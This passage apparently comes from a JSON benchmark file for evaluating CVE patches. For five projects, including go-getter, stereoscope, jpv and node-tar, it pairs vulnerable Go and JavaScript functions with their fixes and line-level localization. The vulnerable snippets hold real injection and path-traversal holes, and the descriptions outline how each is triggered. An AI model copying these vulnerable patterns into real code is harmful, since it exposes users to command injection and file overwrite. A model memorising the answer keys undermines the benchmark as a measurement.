config.ChangelogHorizonOffset,\n\t\tListObjectsDeadline:    config.ListObjectsDeadline,\n\t\tListObjectsMaxResults:  config.ListObjectsMaxResults,\n\t\tUnaryInterceptors:      interceptors,\n\t\tMuxOptions:             nil,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize openfga server: %v\", err)\n\t}\n\n\treturn &service{\n\t\tserver:        openFgaServer,\n\t\tgrpcAddr:      grpcAddr,\n\t\thttpAddr:      httpAddr,\n\t\tdatastore:     datastore,\n\t\tauthenticator: authenticator,\n\t}, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            83
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            87
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            139
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_18_1",
                "commit": "779d73d",
                "file_path": "pkg/cmd/service/service.go",
                "start_line": 280,
                "end_line": 438,
                "snippet": "func BuildService(config *Config, logger logger.Logger) (*service, error) {\n\ttracer := telemetry.NewNoopTracer()\n\tmeter := telemetry.NewNoopMeter()\n\ttokenEncoder := encoder.NewTokenEncoder(encrypter.NewNoopEncrypter(), encoder.NewBase64Encoder())\n\n\tvar datastore storage.OpenFGADatastore\n\tvar err error\n\tswitch config.Datastore.Engine {\n\tcase \"memory\":\n\t\tdatastore = memory.New(tracer, config.MaxTuplesPerWrite, config.MaxTypesPerAuthorizationModel)\n\tcase \"mysql\":\n\t\topts := []mysql.MySQLOption{\n\t\t\tmysql.WithLogger(logger),\n\t\t\tmysql.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = mysql.NewMySQLDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize mysql datastore: %v\", err)\n\t\t}\n\tcase \"postgres\":\n\t\topts := []postgres.PostgresOption{\n\t\t\tpostgres.WithLogger(logger),\n\t\t\tpostgres.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = postgres.NewPostgresDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize postgres datastore: %v\", err)\n\t\t}\n\tdefault:\n\t\treturn nil, errors.Errorf(\"storage engine '%s' is unsupported\", config.Datastore.Engine)\n\t}\n\n\tlogger.Info(fmt.Sprintf(\"using '%v' storage engine\", config.Datastore.Engine))\n\n\tvar grpcTLSConfig *server.TLSConfig\n\tif config.GRPC.TLS.Enabled {\n\t\tif config.GRPC.TLS.CertPath == \"\" || config.GRPC.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidGRPCTLSConfig\n\t\t}\n\t\tgrpcTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.GRPC.TLS.CertPath,\n\t\t\tKeyPath:  config.GRPC.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"grpc TLS is enabled, serving connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"grpc TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar httpTLSConfig *server.TLSConfig\n\tif config.HTTP.TLS.Enabled {\n\t\tif config.HTTP.TLS.CertPath == \"\" || config.HTTP.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidHTTPTLSConfig\n\t\t}\n\t\thttpTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.HTTP.TLS.CertPath,\n\t\t\tKeyPath:  config.HTTP.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"HTTP TLS is enabled, serving HTTP connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"HTTP TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar authenticator authn.Authenticator\n\tswitch config.Authn.Method {\n\tcase \"none\":\n\t\tlogger.Warn(\"authentication is disabled\")\n\t\tauthenticator = authn.NoopAuthenticator{}\n\tcase \"preshared\":\n\t\tlogger.Info(\"using 'preshared' authentication\")\n\t\tauthenticator, err = presharedkey.NewPresharedKeyAuthenticator(config.Authn.Keys)\n\tcase \"oidc\":\n\t\tlogger.Info(\"using 'oidc' authentication\")\n\t\tauthenticator, err = oidc.NewRemoteOidcAuthenticator(config.Authn.Issuer, config.Authn.Audience)\n\tdefault:\n\t\treturn nil, errors.Errorf(\"unsupported authentication method '%v'\", config.Authn.Method)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize authenticator: %v\", err)\n\t}\n\n\tunaryServerInterceptors := []grpc.UnaryServerInterceptor{\n\t\tgrpc_auth.UnaryServerInterceptor(middleware.AuthFunc(authenticator)),\n\t\tmiddleware.NewErrorLoggingInterceptor(logger),\n\t}\n\n\tstreamingServerInterceptors := []grpc.StreamServerInterceptor{\n\t\tgrpc_auth.StreamServerInterceptor(middleware.AuthFunc(authenticator)),\n\t\tmiddleware.NewStreamingErrorLoggingInterceptor(logger),\n\t}\n\n\tgrpcHostAddr, grpcHostPort, err := net.SplitHostPort(config.GRPC.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`grpc.addr` config must be in the form [host]:port\")\n\t}\n\n\tif grpcHostAddr == \"\" {\n\t\tgrpcHostAddr = \"0.0.0.0\"\n\t}\n\n\tgrpcAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", grpcHostAddr, grpcHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'grpc.addr' config: %v\", err)\n\t}\n\n\thttpHostAddr, httpHostPort, err := net.SplitHostPort(config.HTTP.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`http.addr` config must be in the form [host]:port\")\n\t}\n\n\tif httpHostAddr == \"\" {\n\t\thttpHostAddr = \"0.0.0.0\"\n\t}\n\n\thttpAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", httpHostAddr, httpHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'http.addr' config: %v\", err)\n\t}\n\n\topenFgaServer, err := server.New(&server.Dependencies{\n\t\tDatastore:    caching.NewCachedOpenFGADatastore(datastore, config.Datastore.MaxCacheSize),\n\t\tTracer:       tracer,\n\t\tLogger:       logger,\n\t\tMeter:        meter,\n\t\tTokenEncoder: tokenEncoder,\n\t}, &server.Config{\n\t\tGRPCServer: server.GRPCServerConfig{\n\t\t\tAddr:      grpcAddr,\n\t\t\tTLSConfig: grpcTLSConfig,\n\t\t},\n\t\tHTTPServer: server.HTTPServerConfig{\n\t\t\tEnabled:            config.HTTP.Enabled,\n\t\t\tAddr:               httpAddr,\n\t\t\tTLSConfig:          httpTLSConfig,\n\t\t\tUpstreamTimeout:    config.HTTP.UpstreamTimeout,\n\t\t\tCORSAllowedOrigins: config.HTTP.CORSAllowedOrigins,\n\t\t\tCORSAllowedHeaders: config.HTTP.CORSAllowedHeaders,\n\t\t},\n\t\tResolveNodeLimit:       config.ResolveNodeLimit,\n\t\tChangelogHorizonOffset: config.ChangelogHorizonOffset,\n\t\tListObjectsDeadline:    config.ListObjectsDeadline,\n\t\tListObjectsMaxResults:  config.ListObjectsMaxResults,\n\t\tUnaryInterceptors:      unaryServerInterceptors,\n\t\tStreamingInterceptors:  streamingServerInterceptors,\n\t\tMuxOptions:             nil,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize openfga server: %v\", err)\n\t}\n\n\treturn &service{\n\t\tserver:        openFgaServer,\n\t\tgrpcAddr:      grpcAddr,\n\t\thttpAddr:      httpAddr,\n\t\tdatastore:     datastore,\n\t\tauthenticator: authenticator,\n\t}, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-39340"
    },
    {
        "cve_id": "CVE-2024-6257",
        "cve_description": "The Git getter in go-getter invokes the external git command with a repository URL supplied by the caller. If that URL is option-like, such as a repository operand that begins with a dash, git may parse the attacker-controlled repository string as command-line options instead of as a repository name. An attacker who can influence the Git source URL can therefore inject git options during operations such as remote discovery or cloning, which can affect git configuration or command behavior and may lead to arbitrary command execution in environments that process untrusted go-getter URLs.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/hashicorp/go-getter",
        "patch_url": [
            "https://github.com/hashicorp/go-getter/commit/268c11cae8cf0d9374783e06572679796abe9ce9"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_20_1",
                "commit": "975961f",
                "file_path": "get_git.go",
                "start_line": 192,
                "end_line": 229,
                "snippet": "func (g *GitGetter) clone(ctx context.Context, dst, sshKeyFile string, u *url.URL, ref string, depth int) error {\n\targs := []string{\"clone\"}\n\n\toriginalRef := ref // we handle an unspecified ref differently than explicitly selecting the default branch below\n\tif ref == \"\" {\n\t\tref = findRemoteDefaultBranch(ctx, u)\n\t}\n\tif depth > 0 {\n\t\targs = append(args, \"--depth\", strconv.Itoa(depth))\n\t\targs = append(args, \"--branch\", ref)\n\t}\n\targs = append(args, u.String(), dst)\n\n\tcmd := exec.CommandContext(ctx, \"git\", args...)\n\tsetupGitEnv(cmd, sshKeyFile)\n\terr := getRunCommand(cmd)\n\tif err != nil {\n\t\tif depth > 0 && originalRef != \"\" {\n\t\t\t// If we're creating a shallow clone then the given ref must be\n\t\t\t// a named ref (branch or tag) rather than a commit directly.\n\t\t\t// We can't accurately recognize the resulting error here without\n\t\t\t// hard-coding assumptions about git's human-readable output, but\n\t\t\t// we can at least try a heuristic.\n\t\t\tif gitCommitIDRegex.MatchString(originalRef) {\n\t\t\t\treturn fmt.Errorf(\"%w (note that setting 'depth' requires 'ref' to be a branch or tag name)\", err)\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tif depth < 1 && originalRef != \"\" {\n\t\t// If we didn't add --depth and --branch above then we will now be\n\t\t// on the remote repository's default branch, rather than the selected\n\t\t// ref, so we'll need to fix that before we return.\n\t\treturn g.checkout(ctx, dst, originalRef)\n\t}\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            12
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_go_20_2",
                "commit": "975961f",
                "file_path": "get_git.go",
                "start_line": 290,
                "end_line": 300,
                "snippet": "func findRemoteDefaultBranch(ctx context.Context, u *url.URL) string {\n\tvar stdoutbuf bytes.Buffer\n\tcmd := exec.CommandContext(ctx, \"git\", \"ls-remote\", \"--symref\", u.String(), \"HEAD\")\n\tcmd.Stdout = &stdoutbuf\n\terr := cmd.Run()\n\tmatches := lsRemoteSymRefRegexp.FindStringSubmatch(stdoutbuf.String())\n\tif err != nil || matches == nil {\n\t\treturn \"master\"\n\t}\n\treturn matches[len(matches)-1]\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_20_1",
                "commit": "268c11c",
                "file_path": "get_git.go",
                "start_line": 192,
                "end_line": 229,
                "snippet": "func (g *GitGetter) clone(ctx context.Context, dst, sshKeyFile string, u *url.URL, ref string, depth int) error {\n\targs := []string{\"clone\"}\n\n\toriginalRef := ref // we handle an unspecified ref differently than explicitly selecting the default branch below\n\tif ref == \"\" {\n\t\tref = findRemoteDefaultBranch(ctx, u)\n\t}\n\tif depth > 0 {\n\t\targs = append(args, \"--depth\", strconv.Itoa(depth))\n\t\targs = append(args, \"--branch\", ref)\n\t}\n\targs = append(args, \"--\", u.String(), dst)\n\n\tcmd := exec.CommandContext(ctx, \"git\", args...)\n\tsetupGitEnv(cmd, sshKeyFile)\n\terr := getRunCommand(cmd)\n\tif err != nil {\n\t\tif depth > 0 && originalRef != \"\" {\n\t\t\t// If we're creating a shallow clone then the given ref must be\n\t\t\t// a named ref (branch or tag) rather than a commit directly.\n\t\t\t// We can't accurately recognize the resulting error here without\n\t\t\t// hard-coding assumptions about git's human-readable output, but\n\t\t\t// we can at least try a heuristic.\n\t\t\tif gitCommitIDRegex.MatchString(originalRef) {\n\t\t\t\treturn fmt.Errorf(\"%w (note that setting 'depth' requires 'ref' to be a branch or tag name)\", err)\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tif depth < 1 && originalRef != \"\" {\n\t\t// If we didn't add --depth and --branch above then we will now be\n\t\t// on the remote repository's default branch, rather than the selected\n\t\t// ref, so we'll need to fix that before we return.\n\t\treturn g.checkout(ctx, dst, originalRef)\n\t}\n\treturn nil\n}"
            },
            {
                "id": "fix_go_20_2",
                "commit": "268c11c",
                "file_path": "get_git.go",
                "start_line": 290,
                "end_line": 300,
                "snippet": "func findRemoteDefaultBranch(ctx context.Context, u *url.URL) string {\n\tvar stdoutbuf bytes.Buffer\n\tcmd := exec.CommandContext(ctx, \"git\", \"ls-remote\", \"--symref\", \"--\", u.String(), \"HEAD\")\n\tcmd.Stdout = &stdoutbuf\n\terr := cmd.Run()\n\tmatches := lsRemoteSymRefRegexp.FindStringSubmatch(stdoutbuf.String())\n\tif err != nil || matches == nil {\n\t\treturn \"master\"\n\t}\n\treturn matches[len(matches)-1]\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-6257"
    },
    {
        "cve_id": "CVE-2024-24579",
        "cve_description": "stereoscope is a go library for processing container images and simulating a squash filesystem.  Prior to version 0.0.1, it is possible to craft an OCI tar archive that, when stereoscope attempts to unarchive the contents, will result in writing to paths outside of the unarchive temporary directory. Specifically, use of `github.com/anchore/stereoscope/pkg/file.UntarToDirectory()` function, the  `github.com/anchore/stereoscope/pkg/image/oci.TarballImageProvider` struct, or the higher level `github.com/anchore/stereoscope/pkg/image.Image.Read()` function express this vulnerability. As a workaround, if you are using the OCI archive as input into stereoscope then you can switch to using an OCI layout by unarchiving the tar archive and provide the unarchived directory to stereoscope.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/anchore/stereoscope",
        "patch_url": [
            "https://github.com/anchore/stereoscope/commit/09dacab4d9ee65ee8bc7af8ebf4aa7b5aaa36204"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_35_1",
                "commit": "eb656fc717935ad5abeb8e1379a5c4e11c957120",
                "file_path": "pkg/file/tarutil.go",
                "start_line": 128,
                "end_line": 163,
                "snippet": "func UntarToDirectory(reader io.Reader, dst string) error {\n\tvisitor := func(entry TarFileEntry) error {\n\t\ttarget := filepath.Join(dst, entry.Header.Name)\n\n\t\tswitch entry.Header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif _, err := os.Stat(target); err != nil {\n\t\t\t\tif err := os.MkdirAll(target, 0755); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase tar.TypeReg:\n\t\t\tf, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(entry.Header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// limit the reader on each file read to prevent decompression bomb attacks\n\t\t\tnumBytes, err := io.Copy(f, io.LimitReader(entry.Reader, perFileReadLimit))\n\t\t\tif numBytes >= perFileReadLimit || errors.Is(err, io.EOF) {\n\t\t\t\treturn fmt.Errorf(\"zip read limit hit (potential decompression bomb attack)\")\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"unable to copy file: %w\", err)\n\t\t\t}\n\n\t\t\tif err = f.Close(); err != nil {\n\t\t\t\tlog.Errorf(\"failed to close file during untar of path=%q: %w\", f.Name(), err)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\treturn IterateTar(reader, visitor)\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2,
                            3,
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10,
                            11,
                            12,
                            13,
                            14,
                            15,
                            16,
                            17,
                            18,
                            19,
                            20,
                            21,
                            22,
                            23,
                            24,
                            25,
                            26,
                            27,
                            28,
                            29,
                            30,
                            31,
                            32,
                            33,
                            34,
                            35
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_35_1",
                "commit": "09dacab4d9ee65ee8bc7af8ebf4aa7b5aaa36204",
                "file_path": "pkg/file/tarutil.go",
                "start_line": 131,
                "end_line": 139,
                "snippet": "func UntarToDirectory(reader io.Reader, dst string) error {\n\treturn IterateTar(\n\t\treader,\n\t\ttarVisitor{\n\t\t\tfs:          afero.NewOsFs(),\n\t\t\tdestination: dst,\n\t\t}.visit,\n\t)\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-24579"
    },
    {
        "cve_id": "CVE-2020-17479",
        "cve_description": "jpv (aka Json Pattern Validator) before 2.2.2 does not properly validate input, as demonstrated by a corrupted array.",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/manvel-khnkoyan/jpv",
        "patch_url": [
            "https://github.com/manvel-khnkoyan/jpv/commit/e3eec1215caa8d5c560f5e88d0943422831927d6"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_71_1",
                "commit": "8a3cb77",
                "file_path": "index.js",
                "start_line": 116,
                "end_line": 285,
                "snippet": "const compare = (value, pattern, options) => {\n    /*\n    * Special for debugging\n    * */\n    const res = (result) => {\n        let val = '';\n        if (!pattern || ((typeof pattern !== 'object') && (typeof pattern !== 'string') && typeof pattern !== 'function')) {\n            val = String(pattern)\n        } else if (pattern.constructor === JpvObject) {\n            val = `operator \"${pattern.type}\": ${JSON.stringify(pattern.value)}`;\n        } else {\n            JSON.stringify(pattern)\n        }\n\n\n        if (typeof pattern === 'function') {\n            val = pattern.toString();\n        }\n        if (!result && options && options.debug) {\n            options.logger(`error - the value of: {${options.deepLog.join('.')}: ` +\n            `${String(value)}} not matched with: ${val}`);\n        }\n        return result;\n    };\n\n    // simple types pattern = number | boolean | symbol | bigint\n    if ((typeof pattern === 'number') || (typeof pattern === 'symbol') || (typeof pattern === 'boolean') ||\n        (typeof pattern === 'bigint') || (typeof pattern === 'undefined') || (pattern === null)) {\n        return res(pattern === value);\n    }\n\n    /*\n    * When pattern is regex\n    */\n    if (pattern instanceof RegExp) {\n        return res(String(value).match(pattern));\n    }\n\n    // String\n    if ((typeof pattern === 'string')) {\n        // Native Types\n        let nativeMatches = pattern.match(/^(!)?\\((.*)\\)(\\?)?$/i);\n        if (nativeMatches !== null) {\n            // eslint-disable-next-line valid-typeof\n            let match = (typeof value === nativeMatches[2]);\n\n            // ------------------------> Deprecated\n            // Negation ? Operator\n            if (typeof nativeMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            if (nativeMatches[1] === '!') {\n                depricated('neg');\n                return res(!match);\n            }\n            // <-------------------------\n\n            return res(match);\n        }\n\n        // Patterns\n        let logicalMatches = pattern.match(/^(!)?\\[(.*)\\](\\?)?$/i);\n        if (logicalMatches !== null) {\n            const valid = comparePattern(value, logicalMatches[2]);\n\n            // ------------------------> Deprecated\n            // ? Operator\n            if (typeof logicalMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            // ! Operator\n            if (typeof logicalMatches[1] !== 'undefined') {\n                depricated('neg');\n                return res(!valid);\n            }\n            // <-------------------------\n\n            return res(valid);\n        }\n\n        // ------------------------> Deprecated\n        // Functional Regex\n        let functionalRegexMatches = pattern.match(/^(?!=^|,)(!)?\\{\\/(.*)\\/([a-z]*)\\}(\\?)?$/i);\n        if (functionalRegexMatches !== null) {\n            depricated('tag');\n            let match = (String(value).match(new RegExp(functionalRegexMatches[2], functionalRegexMatches[3])) !== null);\n            // Negation ? Operator\n            if (typeof functionalRegexMatches[4] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalRegexMatches[1] === '!' ? !match : match);\n        }\n\n        // Functional Fixed\n        let functionalFixedMatches = pattern.match(/^(!)?\\{(.*)\\}(\\?)?$/i);\n        if (functionalFixedMatches !== null) {\n            depricated('tag');\n            let match = (String(value) === String(functionalFixedMatches[2]));\n            // Negation ? Operator\n            if (typeof functionalFixedMatches[3] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalFixedMatches[1] === '!' ? !match : match);\n        }\n        // <-------------------------\n\n        // Fixed String Comparition\n        return res(value === pattern);\n    }\n\n    // Constructor is JpvObject\n    if (typeof pattern === 'object' && pattern.constructor === JpvObject) {\n        if (pattern.type === 'not') {\n            return res(!compare(value, pattern.value, options));\n        }\n        if (pattern.type === 'and') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (!compare(value, pattern.value[i])) {\n                    return res(false);\n                }\n            }\n            return true;\n        }\n        if (pattern.type === 'or') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (compare(value, pattern.value[i])) {\n                    return true;\n                }\n            }\n            return res(false);\n        }\n        if (pattern.type === 'exact') {\n            return res(value === pattern.value);\n        }\n\n        if (pattern.type === 'typeOf') {\n            // eslint-disable-next-line valid-typeof\n            return res(typeof value === pattern.value);\n        }\n\n        if (pattern.type === 'is') {\n            return res(comparePattern(value, pattern.value));\n        }\n    }\n\n    // pattern = object\n    if (typeof pattern === 'object') {\n        if (value !== null) {\n            return res(value.constructor === pattern.constructor);\n        }\n        return res(value === pattern);\n    }\n\n    // pattern is a function\n    if (typeof pattern === 'function') {\n        return res(!!pattern(value));\n    }\n\n    throw new Error('invalid data type');\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            156
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_71_1",
                "commit": "e3eec1215caa8d5c560f5e88d0943422831927d6",
                "file_path": "index.js",
                "start_line": 137,
                "end_line": 309,
                "snippet": "const compare = (value, pattern, options) => {\n    /*\n    * Special for debugging\n    * */\n    const res = (result) => {\n        let val = '';\n        if (!pattern || ((typeof pattern !== 'object') && (typeof pattern !== 'string') && typeof pattern !== 'function')) {\n            val = String(pattern);\n        } else if (pattern.constructor === JpvObject) {\n            val = `operator \"${pattern.type}\": ${JSON.stringify(pattern.value)}`;\n        } else {\n            JSON.stringify(pattern);\n        }\n\n        if (typeof pattern === 'function') {\n            val = pattern.toString();\n        }\n        if (!result && options && options.debug) {\n            options.logger(`error - the value of: {${options.deepLog.join('.')}: ` +\n                `${String(value)}} not matched with: ${val}`);\n        }\n        return result;\n    };\n\n    // simple types pattern = number | boolean | symbol | bigint\n    if ((typeof pattern === 'number') || (typeof pattern === 'symbol') || (typeof pattern === 'boolean') ||\n        (typeof pattern === 'bigint') || (typeof pattern === 'undefined') || (pattern === null)) {\n        return res(pattern === value);\n    }\n\n    /*\n    * When pattern is regex\n    */\n    if (pattern instanceof RegExp) {\n        return res(String(value).match(pattern));\n    }\n\n    // String\n    if ((typeof pattern === 'string')) {\n        // Native Types\n        let nativeMatches = pattern.match(/^(!)?\\((.*)\\)(\\?)?$/i);\n        if (nativeMatches !== null) {\n            // eslint-disable-next-line valid-typeof\n            let match = (typeof value === nativeMatches[2]);\n\n            // ------------------------> Deprecated\n            // Negation ? Operator\n            if (typeof nativeMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            if (nativeMatches[1] === '!') {\n                depricated('neg');\n                return res(!match);\n            }\n            // <-------------------------\n\n            return res(match);\n        }\n\n        // Patterns\n        let logicalMatches = pattern.match(/^(!)?\\[(.*)\\](\\?)?$/i);\n        if (logicalMatches !== null) {\n            const valid = comparePattern(value, logicalMatches[2]);\n\n            // ------------------------> Deprecated\n            // ? Operator\n            if (typeof logicalMatches[3] !== 'undefined') {\n                depricated('neg');\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            // ! Operator\n            if (typeof logicalMatches[1] !== 'undefined') {\n                depricated('neg');\n                return res(!valid);\n            }\n            // <-------------------------\n\n            return res(valid);\n        }\n\n        // ------------------------> Deprecated\n        // Functional Regex\n        let functionalRegexMatches = pattern.match(/^(?!=^|,)(!)?\\{\\/(.*)\\/([a-z]*)\\}(\\?)?$/i);\n        if (functionalRegexMatches !== null) {\n            depricated('tag');\n            let match = (String(value).match(new RegExp(functionalRegexMatches[2], functionalRegexMatches[3])) !== null);\n            // Negation ? Operator\n            if (typeof functionalRegexMatches[4] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalRegexMatches[1] === '!' ? !match : match);\n        }\n\n        // Functional Fixed\n        let functionalFixedMatches = pattern.match(/^(!)?\\{(.*)\\}(\\?)?$/i);\n        if (functionalFixedMatches !== null) {\n            depricated('tag');\n            let match = (String(value) === String(functionalFixedMatches[2]));\n            // Negation ? Operator\n            if (typeof functionalFixedMatches[3] !== 'undefined') {\n                if (value === null || typeof value === 'undefined' || value === '') {\n                    return true;\n                }\n            }\n            return res(functionalFixedMatches[1] === '!' ? !match : match);\n        }\n        // <-------------------------\n\n        // Fixed String Comparition\n        return res(value === pattern);\n    }\n\n    // Constructor is JpvObject\n    if (typeof pattern === 'object' && pattern.constructor === JpvObject) {\n        if (pattern.type === 'not') {\n            return res(!compare(value, pattern.value, options));\n        }\n        if (pattern.type === 'and') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (!compare(value, pattern.value[i])) {\n                    return res(false);\n                }\n            }\n            return true;\n        }\n        if (pattern.type === 'or') {\n            for (let i = 0; i < pattern.value.length; i++) {\n                if (compare(value, pattern.value[i])) {\n                    return true;\n                }\n            }\n            return res(false);\n        }\n        if (pattern.type === 'exact') {\n            return res(value === pattern.value);\n        }\n\n        if (pattern.type === 'typeOf') {\n            // eslint-disable-next-line valid-typeof\n            return res(typeof value === pattern.value);\n        }\n\n        if (pattern.type === 'is') {\n            return res(comparePattern(value, pattern.value));\n        }\n    }\n\n    // pattern = object\n    if (typeof pattern === 'object') {\n        if (isArray(pattern)) {\n            return res(isArray(value));\n        }\n\n        if (value !== null) {\n            return res(value.constructor === pattern.constructor);\n        }\n        return res(value === pattern);\n    }\n\n    // pattern is a function\n    if (typeof pattern === 'function') {\n        return res(!!pattern(value));\n    }\n\n    throw new Error('invalid data type');\n};"
            },
            {
                "id": "fix_js_71_2",
                "commit": "e3eec1215caa8d5c560f5e88d0943422831927d6",
                "file_path": "index.js",
                "start_line": 45,
                "end_line": 65,
                "snippet": "/**\n * Custom Is Array\n * @param value\n * @returns boolean\n */\nfunction isArray (value) {\n    if (Object.prototype.hasOwnProperty.call(Array, 'isArray')) {\n        return Array.isArray(value);\n    }\n    if (typeof value !== 'object') {\n        return false;\n    }\n    if (Object.prototype.toString.call(value) !== '[object Array]') {\n        return false;\n    }\n    if (!(value instanceof Array)) {\n        return false;\n    }\n    return true;\n}\n"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-17479"
    },
    {
        "cve_id": "CVE-2021-32804",
        "cve_description": "The npm package \"tar\" (aka node-tar) before versions 6.1.1, 5.0.6, 4.4.14, and 3.3.2 has a arbitrary File Creation/Overwrite vulnerability due to insufficient absolute path sanitization. node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.2, 4.4.14, 5.0.6 and 6.1.1. Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths. See referenced GitHub Advisory for details. Be aware of CVE-2021-32803 which fixes a similar bug in later versions of tar.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
